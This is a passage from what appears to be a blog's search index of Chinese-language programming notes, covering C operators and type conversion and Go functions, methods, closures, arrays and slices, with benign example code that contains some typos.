(1<<bit_number);\n\n对指定的位进行测试,如果该位被置为1,则表达式的结果为非零值。\nvalue & 1 << bit_number\n\n赋值赋值操作符用一个等号表示。赋值是表达式的一种,而不是某种类型的语句。\n只要运行出现表达式的地方,都允许进行赋值。\n复合赋值符\n到目前为止所介绍的操作符都还有一种复合赋值的形式:\n+= -= *= /= %=<<= >>= &= ^= |=\n\n单目操作符C具有一些单目操作符,也就是只接受一个操作数的操作符。\n! ++ - & sizeof~ -- + * (类型)\n\n\n! 操作符对它的操作数进行逻辑反操作。\n~ 操作符整型的操作数进行求补操作。\n+ 操作符产生操作数的值。\n- 操作符产生操作数的负值。\n++ 自增操作符\n-- 自减操作符\n& 操作符产生它的操作数的地址\n* 操作符是间接访问操作符,用于访问指针所指向的值。\nsizeof 操作符判断它的操作数的类型长度,以字节为单位。操作数既可以是表达式,也可以是加上括号的类型名。\n(类型) 操作符被称为强制类型转换(cast),它用于显示地把表达式的值转换为另外的类型。\n\n关系操作符> >= < <= != ==\n这些操作符产生的结果都是一个整型值,而不是布尔值。\n表达式的结果如果是0,它就认为是假;表达式的结果如果是任何非零值,它被认为是真。\n逻辑操作符逻辑操作符有&&和||。\n它们对于表达式求值,测试它们的值是真还是假。\n&&操作符的左操作数总是首先进行求值,如果它的值为真,然后就紧接着对右操作数进行求值。\n||操作符也具有相同的特点,它首先对左操作符进行求值,如果它的值是真,右操作数变不再求值,因为整个表达式的值此时已经确定。这个行为常常被称为 “短路求值”。\n条件操作符条件操作符接受三个操作数。它也会控制子表达式的求值顺序。\n语法:\nexpression1 ? expression2 : expression3\n\n条件操作符的优先级非常低,所以它的各个操作数即使不加括号,一般也不会有问题。\na>5 ? a-- : a++\n\n逗号操作符expression1,expression2,...,expressionN\n\n逗号操作符将两个表达式或多个表达式分隔开来。这些表达式自左向右逐个进行求值,整个逗号表达式的值就是最后那个表达式的值。\nwhile(a=get_value(),count_value(a),a>0){\t...}\n\n下标引用、函数调用和结构成员下标引用操作符是一对方括号。下标引用操作符接受两个操作数:一个数组名和一个索引值。事实上,下标引用并不仅限于数组名。\n除了优先级不同之外,下标引用操作和间接访问表达式是等价的。\narray[下标];*(array+(下标));\n\n下标引用实际上是以后面这种形式实现的。\n函数调用操作符接受一个或多个操作数。它的第1个操作数是你希望调用的函数名,剩余的操作数就是传递给函数的参数。把函数调用以操作符的意味着 “表达式” 可以代替 “常量” 作为函数名,事实也确实如此。\n.和->操作符用于访问一个结构的成员。如果s是个结构变量,那么s.a就访问s中名叫a的成员。当你拥有一个指向结构的指针而不是结构本身,且欲访问它的成员时,就需要使用->操作符而不是.操作符。\n布尔值C并不具备显示的布尔类型,所以使用整数来代替。\n其规则是:零是假,任何非零值皆为真。\n\n警告:尽管所有的非零值都被认为是真,但是当你在两个真值之间相互比较时必须小心,因为许多不同的值都可以代表真。\n\n\n提示:解决所有这些问题的方法是避免混合使用整型值和布尔值。如果一个变量包含了一个任意的整型值,你应该显示地对它进行测试:\n\nif(number)if(!number)\n\n左值和右值为了理解有些操作符存在的限制,你必须理解左值(L-value) 和右值(R-value) 之间的区别。\n左值就是那些能够出现在复制符号左边的东西。右值就是那些可以出现在复制符号右边的东西。\n表达式求值表达式的求值顺序一部分是由它所包含的操作符的优先级和结合性决定。同样,有些表达式的操作数在求值过程中可能需要转换为其他类型。\n隐式类型转换C 的整型算术运算总是至少以缺省整型类型的精度来进行的。为了获得这个精度,表达式中的字符型和短整型操作数在使用之前被转换为普通整型,这种转换称为整型提升。\nchar a,b,c;a=b+c;\nb和c的值被提升为普通整型,然后再指向加法运算。加法运算的结构将被截短,然后再存储于a中。\n下面这个例子中,由于存在求补和左移操作,所以8位的精度是不够的。标准要求进行完整的整型求值,所以对于这类表达式的结构,不会存在歧义性。\na=(~a^b<<1)>>1;\n\n算术转换如果某个操作符的各个操作数属于不同的类型,那么除非其中一个操作数转换为另外一个操作数的类型,否则操作就无法进行。下面的层次体系称为**寻常算术转换(usual arithmetic conversion)**。\nlong doubledoublefloatunsigned long intlong intunsigned intint\n\n如果某个操作数的类型在上面这个列表中排名较低,那么它首先将转换为另外一个操作数的类型然后执行操作。\n操作符的属性复杂表达式的求值顺序是3个因素决定的:操作符的优先级、操作符的结合性以及操作符是否控制执行的顺序。\n两个相邻的操作符哪个先执行取决于它们的优先级,如果两者的优先级相同,那么它们的执行顺序由它们的结合性决定。结合性就是一串操作符是从左向右依次执行还是从右向左逐个执行。有4个操作符,它们可以对整个表达式的求值顺序施加控制,它们或者保证某个子表达式能够在另一个子表达式的所有求值过程完成之前进行求值,或者可能使某个表达式被完全跳过不再求值。\n\n优先级和求值的顺序两个相邻的操作符的执行顺序由它们的优先级决定。如果它们的优先级相同,它们的执行顺序由它们的结合性决定。除此之外,编译器可以自由决定使用任何顺序对表达式进行求值,只要它不违背逗号、&&、||和?:操作符所施加的限制。\n换句话说,表达式中操作符的优先级只决定表达式的各个组成部分在求值过程中如何进行聚组。\n","categories":["编程"],"tags":["C"]},{"title":"Go chapter3","url":"/2024/10/25/program/go/go-chapter3/","content":"函数函数声明我们通过阅读标准库的包中声明的函数来学习如何声明函数。\n例如 rand 包中的 Intn 函数。\nrand 包中的 Intn 函数的声明如下:\nfunc Intn (n int) int\n\n下面是一个使用 Intn 函数的例子:\nnum := rand.Intn(10)\n\n下图标识了 Intn 函数声明的各个组成部分以及调用该函数的语法。关键字func告知 go 这是一个函数声明,之后跟着的是首字母大写的函数名 Intn。\n\n在 go 中,以大写字母开头的函数、变量以及其他标识符都会被导出并对其他包可用,反之则不然。\n\nIntn 函数接受单个形式参数(简称形参)作为输入,并且形参的两边用括号包围。形参的声明跟变量的声明一样,都是变量名在前,变量类型在后:\nvar n int\n\n在调用 Intn 函数时,整数 10 将作为单个的实际参数(简称实参)被传递,并且实参的两边也需要用括号包围。产生如单个实参正好符合 Intn 函数只有单个形参的预期,但如果我们以无实参方式调用函数,或者实参的类型不为 int,那么 go 编译器将报告一个错误。\n\n形参相当于占位符,实参就是占位符实际的内容。\n\nInit 函数在执行之后将返回一个 int 类型的伪随机整数作为结果。这个结果会被回传至调用者,然后用于初始化新声明的变量 num。\n虽然 Intn 函数只接受单个形参,但函数也可以通过以逗号分隔的列表来接受多个形参。 time 包中的 Unix 函数就接受两个 int64 形参,它们分别代表 1970年1月1日 以来经过的秒数和纳秒数。这个函数的声明是这样子的:\nfunc Unix(sec int64,nsec int64) Time\nUnix 函数将返回一个 Time 类型的结果。\n在声明函数的时候,如果多个形参用于相同的类型,那么我们只需要把这个类型写出来一次即可:\nfunc Unix(sec,nsec int64) Time\n\ngo 函数不仅能够接受多个形参,它还能够返回多个值。\n前面 strconv 包中的Atoi函数展示过这一特性——这个函数会尝试将给定的字符串转换为数值,然后返回两个值。\ncountdown,err := strconv.Atoi("10")\n\nstrconv 包的文档记录了Atoi函数的声明方式:\nfunc Atoi(s string) (i int,err error)\n\n跟函数的形参一样,函数的多个返回值也需要用括号包围,其中每个返回值的名字在前而类型在后。不过在声明函数的时候也可以把返回值的名字去掉,只保留类型:\nfunc Atoi(s string) (int,error)\n\n\n注意:error类型是内置的错误处理类型\n\n我们一直使用的 Println 函数是一个更为独特的函数,因为它不仅可用接受一个、两个甚至多个参数,而且这些形参的类型还可以各不相同,其中就包括整数和字符串:\nfmt.Println("Hello playground")fmt.Println(186,"seconds")\n\nPrintln 函数在文档中的声明看上去可能会显得有些古怪,因为它使用了我们尚未了解的特性:\nfunc Println(a...interface{})(n int,err error)\n我们可以向Println函数传递可变数量的实参,形参中的省略号...表明了这一点。Println用专门的术语来讲就是一个可变参数函数,而其中的形参 a 则代表传递给该函数的所有实参。\n另外需要注意的是,形参 a 的类型为interface{},也就是所谓的空接口类型。我们现在只需要知道这种特殊类型可以让Println函数接受int、float64、string、time.Time 以及其他任何类型的值作为参数而不会引发 go 编译器报错即可。\n通过写出...interface{}来组合使用可变参数函数和空接口,Println函数将能够接受任意多个任意类型的实参,这样它就可以完美地打印出我们传递给它的任何东西了。\n编写函数定义一个将开氏度转换至摄氏度的函数。\npackage mainimport "fmt"fnuc kelvinToCelsius(k float64)float64{\tk -= 273.15\treturn k}\n\n代码声明定义了一个函数。除此之外,函数还会通过关键字return,将一个float64类型的值返回给调用者。\n另外需要注意的是,在同一个包中声明的函数在调用彼此时不需要加上包名作为前缀。\n\n隔离是一件好事:代码清单中的函数与其他函数没有任何关系,它的唯一输入就是它接受的形参,而它的唯一输出就是它返回的结果。这个函数不会修改外部状态,也就是俗称的无副作用函数,这种函数最容易理解、测试和复用。\n\n方法声明新类型如下代码所示,关键字 type 可以通过一个名字和一个底层类型来声明新的类型。\ntype celsius float64var temperature celsius=20fmt.Println(temperature)\n\n因为数字字面量 20 跟其他数字字面量一样都是无类型常量,所以无论是int类型、flaot64类型或者其他任何数字类型的变量,都可以将这个字面量用作值。\ntype celsius float64const degrees=20var temperature celsius=degreestmeperature+=10\n虽然 celsius 类型跟它的底层类型 float64 具有相同的行为,但因为 celsius 是一种独特的类型而非类型别名,所以尝试把 celsius 和 float64 放在一起将引发类型不匹配错误。\n通过自定义新类型能够极大地提高代码的可读性和可靠性。\ntype celsius float64type fahrenheit float64var c celsius=20var f fahrenheit=20if c==f {//无效操作}c+=f//无效操作,类型不匹配\n\n引入自定义类型在声明新类型之后,你就可以像使用int、float64、string 等预声明 go 类型那样,将新类型应用到包括函数形参和返回值在内的各种地方,代码清单展示的就是一个例子:\nimport "fmt"type celsius float64type kelvin float64func kelvinToCelsius(k kelvin) celsius{\treturn celsius(k-273.15)//类型转换是必需的}func main(){\tvar k kelvin=294.0//实参必须为kelvin类型\tc := kelvinToCelsius(k)\tfmt.Print(k,"K is",c,"C")}\n\nkelvinToCelsius 函数只接受 Kelvin 类型的实参,这有助于避免不合理的错误。它不会接受类型错误的实参,如 fahrenheit、kilometers 甚至是 flaot64。不过因为go 是一门实用的语言,所以它仍然接受字面量或者无类型常量作为实参,这样你就可以编写 kelvinToCelsius(294) 而不是 kelvinToCelsius(kelvin(294))了。\n另外需要注意的是,因为 kelvinToCelsius 接受的是 kelvin类型的实参,但是返回的是 celsius 类型的值,所以它在返回计算结果之前必须先将返回值的类型转换为 celsius 类型。\n通过方法给类型添加行为传统的面向对象语言总是说方法属于类,但 go 不是这样做的:它提供了方法,但是并没有提供类和对象。\n使用 kelvinToCelsius、celssiusToFahrenheit、fahrenheitToCelsius、celsiuToKelvin 这样的函数虽然也能够完成温度转换工作,但是通过声明相应的方法并把它们放置属于自己的地方,能够让温度转换代码变得更加简洁明了。\n我们可以将方法与同一个包中声明的任何类型相关联,但是不能为int和float64之类的预声明类型关联方法。其中,声明类型的方法在前面已经介绍过了:\ntype kelvin flaot64\nkelvin 类型跟它的底层类型float64具有相同的行为,我们可以像处理浮点数那样,对 kelvin 类型的值执行加法运算、乘法运算以及其他操作。此外声明一个将 kelvin转换为 celsius 的方法就跟声明一个具有同等作用的函数一样简单——它们都以关键字 func 开头,并且函数体跟方法体完全一样:\n//kevinToCelsius函数func kevinToCelsius(k kelvin) celsius{\treturn celsius(k-273.15)}//kelvin类型的celsius方法func (k kelvin) celsius() celsius{\treturn celsius(k-273.15)}\ncelsius 方法虽然没有接受任何形参,但它的名字前面却有一个类似形参的接收者。每个方法和函数都可以接受多个形参,但一个方法必须并且只能有一个接收者。在 clesius 方法体中,接收者的行为就跟其他形参一样。除声明语法有些许不同之外,调用方法的语法与调用函数的语法也不一样:\nvar k kelvin=294.0var c celsiusc = kelvinToCelsius(k)//调用 kevinToCelsius函数c = k.celsius()//调用 celsius 方法\n跟调用其他包中的函数一样,调用方法也需要用到点记号。以上面的代码为例,在调用方法的时候,程序首先需要给出正确类型的变量,接着是一个点号,最后才是被调用方法的名字。\n在同一个包里面,如果一个名字已经被函数占用了,那么这个包就无法再定义同名的类型,因此在使用函数的情况下,我们将无法使用 celsius 函数返回 celsius 类型的值。然而,如果我们使用的是方法,那么每种温度类型都可以具有自己的 celsius方法,就像如下代码一样。\ntype fatrenheit float64//celsius 方法会将华氏度转换为摄氏度func (f fahrenheit) celsius() clesius{\treturn celsius((f-32.0)*5.0/9.0)}\n通过让每种温度类型都具有相应的 celsius 方法以转换为摄氏度,我们可以创造出一种完美的对称。\n一等函数将函数赋值给变量package mainimport ( "fmt" "math/rand")type kelvin float64func fakeSensor() kelvin{ return kelvin(rand.Intn(151)+150)}func realSensor() kelvin{ return 0}func main(){ //将函数赋值给变量后,以调用函数的形式调用变量即调用赋值的函数 sensor := fakeSensor fmt.Println(sensor()) sensor =realSensor fmt.Println(sensor())}\n在这段代码中,变量 sensor 的值是函数本身,而不是调用函数获得的结果。正如之前所述,无论是调用函数还是方法,都需要像 fakeSensor() 这样用到圆括号,但这次的程序在赋值的时候并没有这样做。\n\n注意:代码清单之所以能够将 realSensor 函数重新赋值给 sensor 变量,是因为 realSensor 与 fakeSensor 具有相同的函数签名。换句话说,这两个函数具有相同数量和相同类型的形参以及返回值。\n\n现在,无论赋值给 sensor 变量的是 fakeSensor 函数还是 realSensor 函数,程序都可以通过调用 sensor() 来实际地调用它。\nsensor 变量的类型是函数,具体来说就是一个不接受任何形参并且只返回一个 kelvin 值的函数。在不使用类型推断的情况下,我们需要为这个变量设置以下声明:\n//变量为返回值为kelvin类型的函数var sensor func() kelvinsensor = fakeSensorfmt.Println(sensor())\n\n\n将函数传递给其他函数因为变量既可以指向函数,又可以作为参数传递给函数,所以我们同样可以在 go 里面将函数传递给其他函数。\n为了记录每秒的温度数据,\npackage mainimport (\t"fmt"\t"math/rand"\t"time")type kelvin float64func measureTemperature(samples int,seesor func() kelvin){//接受另一个函数作为它的第二个参数\tfor i:=0;i<samples;i++{\t\tk:=sensor()\t\tfmt.Printf("%v K\\n",k)\t\ttime.Sleep(time.Second)\t}}func fakeSensor() kelvin{\treturn kelvin(rand.Intn(151)+150)}func main(){\tmeasureTemperature(3,fakeSensor)//把函数的名字传递给另一个函数}\n这种传递函数的能力是一种非常强大的代码拆分手段。如果 go 不支持一等函数,那么我们就必须写出两个代码相差无几的函数了。\nmeasureTemperature 函数接受两个形参,其中第二个形参的类型为 func() kelvin,这一声明与相同类型的变量声明非常相似:\nvar sensor func() kelvin\n\n\n声明函数类型为函数声明新的类型有助于精简和明确调用者的代码。\n在前面的几章中,我们就尝试了使用 kelvin 类型而不是底层表示来代表温度单位,同样的方法也可以应用于被传递的函数:\ntype sensor func() kelvin\n跟不接受任何形参并且只返回一个 kelvin 值的函数这一模糊的概念相比,现在代码可以通过 sensor 类型来确定地声明一个传感器函数。通过 sensor 类型还能够有效地精简代码,使函数声明\nfunc measureTemperature(samples int,s func() kelvin)\n能够改写为\nfunc measureTemperature(samples int,s sensor)\n在这个简单的例子中,使用 sensor 类型看上去作用不大,毕竟人们在阅读代码的时候还是得看一眼 sensor 类型的声明才能够知道代码的具体行为。但如果 sensor 在多个地方都出现过,或者函数类型需要接受多个形参,那么使用函数类型将能够有效地减少混乱。\n闭包和匿名类型匿名函数也就是没有名字的函数,在 go 中也被称为函数字面量。跟普通函数不一样的是,因为函数字面量需要保留外部作用域的变量引用,所以函数字面量都是闭包的。\npackage mainimport ( "fmt")//将匿名函数赋值给变量var f =func(){ fmt.Println("Dress up for the masquerade.")}//执行匿名函数func main(){ f()}\n 我们甚至还可以将声明匿名函数和调用匿名函数整合到一个步骤里面执行,就像代码清单所示的那样。\npackage mainimport "fmt"func main(){ func(){//声明匿名函数\t fmt.Println("Functions anonymous") }()//调用匿名函数}\n匿名函数适用于各种需要动态创建函数的情景,从函数里面返回另一个函数就是其中之一。虽然函数也可以返回已存在的具名函数,达能声明并返回全新的匿名函数无疑会更为有用。\npackage mainimport ( "fmt")type kelvin flaot64//sensor函数类型type sensor func() kelvinfunc realSensor() kelvin{ return 0//代办事项实现真正的传感器}func calibrate(s sensor,offset kelvin) sensor{ return func() kelvin{//声明并返回匿名函数 return s()+offset }}func main(){ sensor := calibrate(realSensor,5) fmt.Println(sensor())//打印出5}\n值得一提的是,代码清单中的匿名函数利用了闭包特性,它引用了被 calibrate 函数用作形参的 s 变量和 offset 变量。尽管 calibrate 函数已经返回了,但是被闭包捕获的变量将继续存在,因此调用 sensor 仍然能够访问这两个变量。术语闭包就是由于匿名函数封闭并包围作用域中 的变量而得名的。\n另外需要注意的是,因为闭包保留的是周围变量的引用而不是副本值,所以修改被闭包捕获的变量可能会导致调用匿名函数的结果发生变化。\nvar k kelvin = 294.0sensor := func() kelvin{\treturn k}fmt.Println(sensor())//打印出294k++fmt.Println(sensor())//打印出295\n请务必牢记这一点,特别是当你在for循环中使用闭包的时候。\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Go chapter4","url":"/2024/10/25/program/go/go-chapter4/","content":"劳苦功高的数组声明数组并访问其元素以下数组不多不少正好包含 8 个元素\nvar planets [8]string\n同一个数组中的每个元素都具有相同的类型,比如以上代码就是由 8 个字符串组成,简称字符串数组。\n数组的长度可以通过内置的 len 函数确定。在声明数组时,未被赋值的元素将包含类型对应的零值。\nvar planets [8]stringfmt.Println(len(planets))fmt.Println(planets)//运行结果8[ ]\n\n小心越界包含 8 个元素的数组的合法索引为 0 至 7。go 编译器在检测到对越界数组的访问时会报错。\n另外如果 go 编译器在编译时未能发现越界错误,那么程序将在运行时出现惊恐(错误)。\n\n惊恐:运行时错误\n\n错误会导致程序崩溃。\n使用复合字面量初始化数组复合字面量是一种使用给定值对任意复合类型实施初始化的紧凑语法。与先声明一个数组然后再一个接一个地为它的元素赋值相比,go 语言的复合字面量语法允许我们在单个步骤里面完成声明数组和初始化数组这两项工作。\ndwarfs := [5]string{"ceres","pluto","haumea","makemake","eris"}\n这段代码中的大括号 {} 包含了 5 个用逗号分隔的字符串,它们将被用于填充新创建的数组。\n在初始化大型数组时,将复合字面量拆分成至多个行可以让代码变得更可读。为了方便,你还可以在复合字面量里面使用省略号...而不是具体的数字作为数组长度,然后让 go 编译器为你计算数组元素的数量。需要注意的是,无论使用哪种方式初始化数组,数组的长度都是固定的。\nplanets := [...]string{\t"Mercury",//让go编译器计算数组元素的数量\t"Venus",\t"Earth",\t"Mars",\t"Jupiter",\t"Saturn",\t"Uranus",\t"Neptune",//结尾的逗号是必需的,不能省略}\n\n迭代数组迭代数组中各个元素的做法与迭代字符串中各个字符的做法非常类似。\ndwarfs := [5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}for i:=0;i<len(dwarfs);i++{\tdwarf := dwarfs[i]\tfmt.Println(i,dwarf)}//运行结果0 Ceres1 Pluto2 Haumea3 Mkaemake4 Eris\n使用关键字range可以取得数组中每个元素的对应的索引和值,这种迭代方式使用的代码更少并且更不容易出错。\ndwarfs := [5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}for i,dwarf := range dwarfs{\tfmt.Println(i,dwarf)}//运行结果0 Ceres1 Pluto2 Haumea3 Mkaemake4 Eris\n\n注意:如果你不需要 range 提供的索引变量,那么可以使用空白标识符(下划线)来省略它们\n\n数组被复制无论是将数组赋值给新的变量还是将它传递给函数,都会产生一个完整的数组副本。\nplanets := [...]string{\t"Mercury",\t"Venus",\t"Earth",\t"Mars",\t"Jupiter",\t"Saturn",\t"Uranus",\t"Neptune"}planetsMark := planets//复制planets数组planets[2]="whoops"//修改数组元素fmt.Println(planets)//打印planets数组fmt.Println(planetsMark)//打印planetsMark//运行结果[Mercury Venus whoops Mars Jupiter Saturn Uranus Neptune][Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune]\n因为数组也是一种值,而函数通过传递值接受参数,所以代码清单中的 terraform 函数将非常低效。\npackage mainimport "fmt"//terraform不会产生任何实际效果func terraform(planets [8]string){\tfor i :=range planets{\t\tplanets[i]="New"+planets[i]\t}}func main(){\tplanets := [...]string{\t\t"Mercury",\t\t"Venus",\t\t"Earth",\t\t"Mars",\t\t"Jupiter",\t\t"Saturn",\t\t"Uranus",\t\t"Neptune",\t}\tterraform(planets)\tfmt.Println(planets)}//运行结果[Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune]\n由于 terraform 函数操作的是 planets 数组的副本,因此函数内部对数组的修改将不会影响 mian 函数中的 planets 数组。\n除此之外,我们还需要意识到数组的长度实际上也是数组类型的一部分,这一点非常重要。例如,虽然[8]string类型和[5]string类型都属于字符串收集器,但它们实际上是不同的类型。尝试传递长度不相符的数组作为参数将导致go编译器报错:\ndwarfs :=[5]string{"Ceres","Pluto","Haumea","Makemake","Eris"}terraform(dwarfs)//只能接受 [8]string 类型的 terraform 函数无法使用 [5]string 类型的 dwarfs 作为实参\n基于上述原因,函数一般使用切片而不是数组作为形参。\n由数组组成的数组我们除可以定义字符串数组之外,还可以定义整数数组、浮点数数组甚至数组的数组(嵌套数组或叫二维数组)。\nvar board [8][8]string//一个8x8嵌套数组,其中内层数组的每个元素都是一个字符串board[0][0]="r"board[0][7]="r"//将r放置到[行][列]指定的坐标上for column := range board[1]{\tborad[1][column]="p"}fmt.Print(board)\n\n\n切片:指向数组的窗口切分数组通过切分数组创建切片需要用到半开区间。\nplanets := [...]string{\t"mercury",\t"venus",\t"earth",\t"mars",\t"jupiter",\t"saturn",\t"uranus",\t"neptune",}terrestrial := planets[0:4]gasGiants := planets[4:6]iceGiants := planets[6:8]fmt.Println(terrestrial,gasGiants,iceGiants)//运行结果[Mercury Venus Earth Mars] [Jupiter Saturn] [Uranus Neptune]\n虽然 terrestrial、gasGiants 和 iceGiants 都是切片,但我们还是可以像数组那样根据索引获取切片中的指定元素:\nfmt.Println(gasGiants[0])//打印出jupiter\n我们除可以创建数组的切片之外,还可以创建切片的切片。\ngiants := planets[4:8]gas := giants[0:2]ice := giants[2:4]fmt.Println(giants,gas,ice)//运行结果[Jupiter Saturn Uranus Neptune] [Jupiter Saturn] [Uranus Neptune]\n无论是 terrestial、gasGiants、iceGiants、giants、gas还是ice,它们都是同一个 planets 数组的视图::jjk,对切片中的任意一个元素赋予新的值都会导致 planets 数组发生变化,而这一变化同样会见诸指向 planets 数组的其他切片:\niceGiantsMarkII := iceGiantsiceGiants[1]="Poseidon"fmt.Println(planets)fmt.Println(iceGiants,iceGiantsMarkII,ice)//运行结果[Mercury Venus Earth Mars Jupiter Saturn Uranus Poseidon][Uranus Poseidon] [Uranus Poseidon] [Uranus Poseidon]\n\n切片的默认索引\n在切分数组创建切片的时候,省略半开区间中的起始索引表示使用数组的起始位置作为索引,而省略半开区间的结束索引则表示使用数组的长度作为索引。这种做法使得我们可以把上面代码清单中的切分操作修改为如下形式\nterrestrial := planets[:4]gasGiants := planets[4:6]iceGiants := planets[6:]\n\n注意:切片的索引不能是负数\n\n除单独省略起始索引或者结束索引之外,我们还可以同时省略这两个索引。\n下面就是数组全部内容的切片。\nall:=planets[:]\n\n\n切分字符串\n\n切分数组的创建切片的语法也可以用于切分字符串\nneptune := "Neptune"tune := neptune[3:]fmt.Println(tune)//运行结果tune\n切分字符串将创建另一个字符串。不过为 neptune 变量赋予新值并不会改变 tune 变量的值,反之亦然。\nneptune="Poseidon"fmt.Println(tune)//运行结果tune\n另外需要注意的是,在切分字符串时,索引代表的是字节号码而非符文号码\nquestion := "come eatas?"fmt.Println(question[:6])//运行结果come e\n\n切片的复合字面量go语言的许多函数都倾向于使用切片而不是数组作为输入。如果你需要一个跟底层数组具有同样元素的切片,那么其中一种方法就是声明数组然后使用[:]对其进行切分,就像这样:\ndwarfArray := [...]string{"Ceres","Pluto","Haumea","Makemake","Eris"}dwarfSlice :=dwarfArray[:]\n切分数组并不是创建切片的唯一方法,我们还可以选择直接声明切片。与声明数组时需要在方括号内提供数组长度或者使用省略号不一样,声明切片不需要在方括号内提供任何值。\n例如,如果我们想要声明一个字符串切片,那么只需要使用[]string作为类型即可。\ndwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}\n直接声明的切片仍然会有相应的底层数组。以上面代码为例,go首先会在内部一个包含5个元素的数组,然后再创建一个能够看到数组所有元素的切片。\n切片的威力package mainimport ( "fmt" "strings")func hyperspace(worlds []string){ for i:= range worlds{ //返回字符串参数的切片,删除所有前导和尾随空格 worlds[i]=strings.TrimSpace(worlds[i]) }}func main(){ planets :=[]string{"Venus","Earth","Mars"} hyperspace(planets) //Join函数是go中用于将多个字符串连接为一个字符串的函数 //第一个参数为字符串切片,第二个参数为分隔符 fmt.Println(strings.Join(planets,"")) //最终打印出VenusEarthMars}\nworlds 和 planets 都是切片,并且前者还是后者的副本,但是它们都指向相同的底层数组。\n如果 heperspace 函数想要修改的是 worlds 切片的指向,无论是指向开头还是结尾,这些修改都不会对 planets 切片产生任何影响。但由于 hyperspace 函数能够访问 worlds 指向的底层数组并修改其包含的元素,因此这些修改将见诸同一数组的其他切片。\n切片比数组通用的另一个地方在于,切片虽然也有长度,但这个长度与数组的长度不一样,它不是类型的一部分。基于这个原因,你可以将任意长度的切片传递给 hyperspace 函数:\ndwarfs :=[]string{"Ceres","Pluto"}hyperspace(dwarfs)\ngo 语言的使用者很少会直接使用数组,它们更愿意使用更为通用的切片,特别是在向函数传递实参的时候。\n带有方法的切片我们可以在 go 语言中声明底层为切片或者数组的类型,并为其绑定相应的方法。跟其他语言的类(class)相比,go语言在类型之上声明方法的能力五一更为通用。\n例如,标准库的 sort 包声明了一种 StringSlice 类型:\ntype StringSlice []string\n并且该类型还有关联的 Sort 方法:\nfunc (p StringSlice) Sort()\n\n为了按照字符顺序对数组进行排序,代码清单首先会将 planets 数组转换为 sort.StringSlice 类型,然后再调用相应的 Sort 方法:\npackage mainimport (\t"fmt"\t"sort")func main(){\tplanets := []string{\t\t"Mercury","Venus","Earth","Mars",\t\t"Jupiter","Saturn","Uranus","Neptune",\t}\tsort.StringSlice(planets).Sort\tfmt.Println(planets)}//运行结果[Earth Jupiter Mars Mercury Neptune Saturn Uranus Venus]\n为了进一步简化上述操作,sort 包提供了 Strings 辅助函数,它会自动执行所需的类型转换并调用 Sort 方法:\nsort.Strings(planets)\n\n更大的切片append函数通过内置的 append 函数,我们可以将更多元素添加到 dwarfs 切片里面。\ndwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}dwarfs = append(dwarfs,"Orcus")fmt.Println(dwarfs)//运行结果[Ceres Pluto Haumea Makemake Eris Orcus]\n和 Println 一样,append 也是一个可变参数函数,因为我们可以一次向切片追加多个元素:\ndwarfs=append(dwarfs,"Salacia","Quaoar","Sedna")fmt.Println(dwarfs)//运行结果[Ceres Pluto Haumea Makemake Eris Orcus Salacia Quaoar Sedna]\n为了弄清楚这一切是如何实现的,我们必须先弄懂容量和内置的 cap 函数。\n长度和容量切片中可见元素的数量决定了切片的长度。如果切片底层的数组比切片大,那么我们就说该切片还有容量可供增长。\n代码清单声明的函数能够打印出切片的长度和容量。\nlen 函数用于获取切片长度,cap 函数用于获取切片容量\npackage mainimport "fmt"//dump函数会打印出切片的长度、容量和内容func dump(label string,slice []string){\tfmt.Printf("%v:length %v,capacity %v %v\\n",label,len(slice),cap(slice),slice)}func main(){\tdwarfs := []string{"Ceres","Pluto","Haumea","Makemake","Eris"}\tdump("dwarfs",dwarfs)\tdump("dwarfs[1:2]",dwarfs[1:2])}//运行结果dwarfs:length 5 capacity 5 [Ceres Pluto Haumea Makemake Eris]dwarfs[1:2]:length 1 capacity 4 [Pluto]\n根据打印结果可知,dwarfs[1:2]创建的切片虽然长度只有 1,但它的容量却足以容纳 4 个元素。\n详解 append 函数下列代码展示了 append 函数对切片容量的影响\ndwarfs1 :=[]string{"Ceres","Pluto","Haumea","Makemake","Eris"}//长度为5,容量为5dwarfs2 :=append(dwarfs1,"Orcus")//长度为6,容量为10dwarfs3 :=append(dwarfs2,"Salacia","Quaoar","Sedna")//长度为9,容量为10\n如上,由于支撑 dwarfs1 切片的底层数组没有足够的空间(容量)执行追加 “Orcus” 的操作,因此 append 函数将把 dwarfs1 包含的元素复制到新分配的数组里面。新数组的容量是原数组的两倍,其中额外分配的容量将为后续可能发生的 append 操作提供空间。\n为了证明 dwarfs1 与 dwarfs2 和 dwarfs3 指向的是两个不同的数组,我们可以修改这两个数组中的任意一个元素,然后打印这 3 个切片。\npackage mainimport ( "fmt")func main(){ dwarfs1:=[]string{"Ceres","Pluto","Haumea","Makemake","Eris"} dwarfs2:=append(dwarfs1,"Orcus") dwarfs3:=append(dwarfs2,"Sqlacia","Quaoar","Sedna") dwarfs3[0]="Pluto" fmt.Println("dwarfs1",len(dwarfs1),cap(dwarfs1),dwarfs1) fmt.Println("dwarfs2",len(dwarfs2),cap(dwarfs2),dwarfs2) fmt.Println("dwarfs3",len(dwarfs3),cap(dwarfs3),dwarfs3)}//运行结果dwarfs1 5 5 [Ceres Pluto Haumea Makemake Eris]dwarfs2 6 10 [Pluto Pluto Haumea Makemake Eris Orcus]dwarfs3 9 10 [Pluto Pluto Haumea Makemake Eris Orcus Sqlacia Quaoar Sedna]\n\n三索引切分操作go 语言在 1.2 版本引入了能够限制新建切片容量的三索引切分操作。新创建的 terrestrial 切片的长度和容量都为 4,对其追加 Ceres 将导致 terrestrial 指向新分配的数组,而 terrestrial 原来指向的数组(也就是 planets仍在指向的数组)将不会发生任何变化。\nplanets := []string{\t"Mercury","Venus","Earth","Mars",\t"Jupiter","Saturn","Uranus","Neptune",}terrestrial := planets[0:4:4]//长度为4,容量为4worlds := append(terrestrial,"Ceres")fmt.Println(planets)fmt.Println(worlds)//打印出[Mercury Venus Earth Mars Jupiter Saturn Uranus Neptune][Mercury Venus Earth Mars Ceres]\n相反,如果我们在执行切片操作时没有指定第 3 个索引,那么 terrestrial 的容量将为 8,并且也不会因为追加 Ceres 而分配新的数组,而是会覆盖原数组中的 